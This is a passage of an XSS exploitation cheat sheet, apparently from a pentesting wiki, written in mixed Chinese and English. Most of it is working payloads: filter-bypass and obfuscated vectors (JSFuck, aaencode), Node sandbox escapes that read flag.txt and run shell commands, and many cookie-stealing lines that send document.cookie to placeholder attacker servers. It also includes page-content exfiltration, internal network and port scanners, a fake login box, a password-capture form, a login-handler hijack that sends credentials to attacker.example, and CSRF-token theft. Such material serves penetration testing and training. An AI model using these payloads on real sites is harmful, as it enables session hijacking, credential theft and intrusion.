top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>

DOM vulnerabilities

存在 JS code 使用由攻击者控制的不安全数据(例如 location.href)。攻击者可以滥用此类数据执行任意 JS 代码。
由于对 DOM vulnerabilities it was moved to this page的说明较长,已将其移至该页面:

DOM XSS

在那里你会找到对 DOM vulnerabilities 是什么、如何被触发以及如何利用 的详细解释。
另外,不要忘记在上述文章的末尾你可以找到关于 DOM Clobbering attacks 的说明。

Upgrading Self-XSS

如果你能通过在 cookie 中发送 payload 来触发 XSS,通常这是 self-XSS。然而,如果你发现一个 vulnerable subdomain to XSS,你可以滥用该 XSS 在整个域注入 cookie,从而在主域或其他子域(那些对 cookie XSS 易受影响的子域)触发 cookie XSS。为此你可以使用 cookie tossing attack:

Cookie Tossing

你可以在 this blog post 看到该技术的精彩滥用示例。

Sending your session to the admin

用户可能会与管理员共享他的资料,如果 self XSS 存在于该用户资料中且管理员访问它,就会触发该漏洞。

Session Mirroring

如果你发现了 self XSS 且网页对管理员有 session mirroring for administrators,例如允许客户端请求帮助,从而管理员在帮助你时会从他的会话中看到你在会话中看到的内容。

你可以让 administrator trigger your self XSS 并窃取他的 cookies/session。

Other Bypasses

Bypassing sanitization via WASM linear-memory template overwrite

当 web 应用使用 Emscripten/WASM 时,常量字符串(例如 HTML 格式的模板)存放在可写的 linear memory 中。一次 in‑WASM 溢出(例如编辑路径中未检查的 memcpy)就可以破坏相邻结构并将写入重定向到这些常量。将模板例如 “

%.*s

” 覆盖为 “” 会把被 sanitization 处理的输入变成 JavaScript handler 值,并在渲染时立即产生 DOM XSS。

查看包含利用流程、DevTools memory helpers 和防御措施的专页:

Wasm Linear Memory Template Overwrite Xss

Normalised Unicode

你可以检查 reflected values 是否在服务器端(或在客户端)被 unicode normalized,并滥用此功能来绕过防护。 Find an example here.

PHP FILTER_VALIDATE_EMAIL flag Bypass

"><svg/onload=confirm(1)>"@x.y

Ruby-On-Rails bypass

由于 RoR mass assignment,引号会被插入到 HTML 中,从而绕过引号限制,并可以在标签内部添加额外字段(onfocus)。
表单示例 (from this report),如果你发送如下 payload:

contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa

成对 “Key”,“Value” 会被回显如下:

{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}

然后将插入 onfocus 属性并触发 XSS。

特殊组合

<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1'&#41</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)

在 302 响应中通过头注入实现 XSS

如果你发现可以在 302 Redirect responseinject headers,可以尝试 让浏览器执行任意 JavaScript。这并不简单,因为现代浏览器在 HTTP 响应状态码为 302 时不会解析响应体,所以仅仅放一个 XSS payload 是没用的。

this reportthis one 中可以看到如何在 Location header 内测试多种协议,并检查是否有任何协议允许浏览器检查并执行 body 中的 XSS payload。
Past known protocols: mailto://, //x:1/, ws://, wss://, empty Location header, resource://.

仅限字母、数字和点

如果你能够指定将被 javascript 执行的 callback,且只允许这些字符。Read this section of this post 以了解如何滥用此行为。

有效的 <script> Content-Types 用于 XSS

(From here) 如果你尝试以诸如 application/octet-streamcontent-type 加载脚本,Chrome 会抛出如下错误:

Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx’ because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.

唯一能让 Chrome 运行已 loaded scriptContent-Type 是位于 const kSupportedJavascriptTypes 中的那些,见 https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc

const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};

可用于 XSS 的 Script 类型

(From here) 那么,哪些类型可以用来加载脚本?

<script type="???"></script>

答案是:

  • module (默认,无需说明)
  • webbundle: Web Bundles 是一个功能,允许你将一批数据 (HTML, CSS, JS…) 打包到一个 .wbn 文件中。
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>

<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>

该行为在 this writeup 中被用来将一个库重新映射到 eval,以利用它触发 XSS。

  • speculationrules: 这个特性主要为了解决由预渲染引起的一些问题。它的工作方式如下:
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>

Web 内容类型导致 XSS

(来自 here) 以下内容类型可以在所有浏览器中触发 XSS:

  • text/html
  • application/xhtml+xml
  • application/xml
  • text/xml
  • image/svg+xml
  • text/plain (?? 不在列表中,但我好像在某个 CTF 看到过)
  • application/rss+xml (关闭)
  • application/atom+xml (关闭)

在其他浏览器中,其他 Content-Types 也可以用来执行任意 JS,请参阅: https://github.com/BlackFan/content-type-research/blob/master/XSS.md

xml 内容类型

如果页面返回的是 text/xml 内容类型,可以指定命名空间并执行任意 JS:

<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>

<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->

特殊替换模式

当使用类似 "some {{template}} data".replace("{{template}}", <user_input>) 的写法时,攻击者可以使用 special string replacements 试图绕过一些防护: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))

For example in this writeup, this was used to scape a JSON string inside a script and execute arbitrary code.

Chrome Cache to XSS

Chrome Cache to XSS

XS Jails Escape

如果你只能使用有限的一组字符,查看这些针对 XSJail 问题的其他有效解决方案:

// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))

// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))

with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))

//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()

// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE

如果在执行不受信任的代码之前 一切都是未定义的(像在 this writeup)就有可能“凭空”生成有用的对象,从而滥用任意不受信任代码的执行:

  • 使用 import()
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
  • 间接访问 require

According to this 模块被 Node.js 包装在一个函数中,如下所示:

;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})

因此,如果我们能够从该模块调用另一个函数,就可以在该函数中使用 arguments.callee.caller.arguments[1] 来访问 require

;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()

与前一个示例类似,可以通过 use error handlers 来访问模块的 wrapper 并获取 require 函数:

try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()

Obfuscation & Advanced Bypass

//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻   / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
// It's also possible to execute JS code only with the chars: []`+!${}

XSS 常见 payloads

多个 payloads 合并为一个

Steal Info JS

Iframe Trap

使用户在页面内导航而不离开 iframe,并窃取其操作(包括表单中提交的信息):

Iframe Traps

获取 Cookies

<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>

Tip

如果 cookie 设置了 HTTPOnly 标志,你 将无法从 JavaScript 访问这些 cookies。但如果你足够幸运,这里有 一些绕过此保护的方法

窃取页面内容

var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)

查找内部 IP 地址

<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51

// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}

// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}

function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})

setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>

Port Scanner (fetch)

const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }

Port Scanner (websockets)

var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}

短时间表示端口有响应 较长时间表示无响应.

查看 Chrome 中被禁止的端口列表 here 和在 Firefox 中的列表 here.

请求凭证的框

<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>

自动填充密码捕获

<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

当任何数据被输入到 password field 时,username and password 会被发送到 attackers server;即使客户端选择了 saved password 而没有主动输入,credentials 仍会被 ex-filtrated。

Hijack form handlers to exfiltrate credentials (const shadowing)

如果一个关键 handler(例如 function DoLogin(){...})在页面后面声明,而你的 payload 比它先运行(例如通过 inline JS-in-JS sink),先用相同名称定义一个 const,即可 preempt 并锁定该 handler。后续的 function 声明无法 rebind 一个 const 名称,从而让你的 hook 保持控制:

const DoLogin = () => {
const pwd  = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};

Notes

  • 这依赖于执行顺序:你的注入必须在合法声明之前执行。
  • 如果你的 payload 被包裹在 eval(...) 中,const/let 绑定不会变成 globals。使用动态 <script> 注入技术,参见章节 “Deliverable payloads with eval(atob()) and scope nuances” 以确保真正的全局、不可重新绑定的 binding。
  • 当关键字过滤阻止代码时,结合使用 Unicode 转义标识符或 eval(atob('...')) 的 delivery,如上所示。

Keylogger

Just searching in github I found a few different ones:

Stealing CSRF tokens

<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

窃取 PostMessage 消息

<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>

PostMessage-origin script loaders (opener-gated)

如果页面 存储来自 postMessageevent.origin,并随后将其拼接到脚本 URL 中,发送方就能控制被加载 JS 的 origin

window.addEventListener('message', (event) => {
if (event.data.msg_type === 'IWL_BOOTSTRAP') {
localStorage.setItem('CFG', {host: event.origin, pixelID: event.data.pixel_id});
startIWL(); // later loads `${host}/sdk/${pixelID}/iwl.js`
}
});

Exploitation recipe (from CAPIG):

  • Gates: 仅在 window.opener 存在且 pixel_id 为 allowlisted 时触发;origin is never checked
  • Use CSP-allowed origin: pivot 到受害者 CSP 已允许的域(例如,允许分析的登出帮助页面,如 *.THIRD-PARTY.com),并通过 takeover/XSS/upload 在该域托管 /sdk/<pixel_id>/iwl.js
  • Restore opener: 在 Android WebView 中,window.name='x'; window.open(target,'x') 会使页面成为自身的 opener;从被劫持的 iframe 发送恶意 postMessage
  • Trigger: the iframe posts {msg_type:'IWL_BOOTSTRAP', pixel_id:<allowed>};父页面随后从 CSP-allowed origin 加载攻击者 iwl.js 并执行它。

This turns origin-less postMessage validation into a remote script loader primitive that survives CSP if you can land on any origin already allowed by the policy.

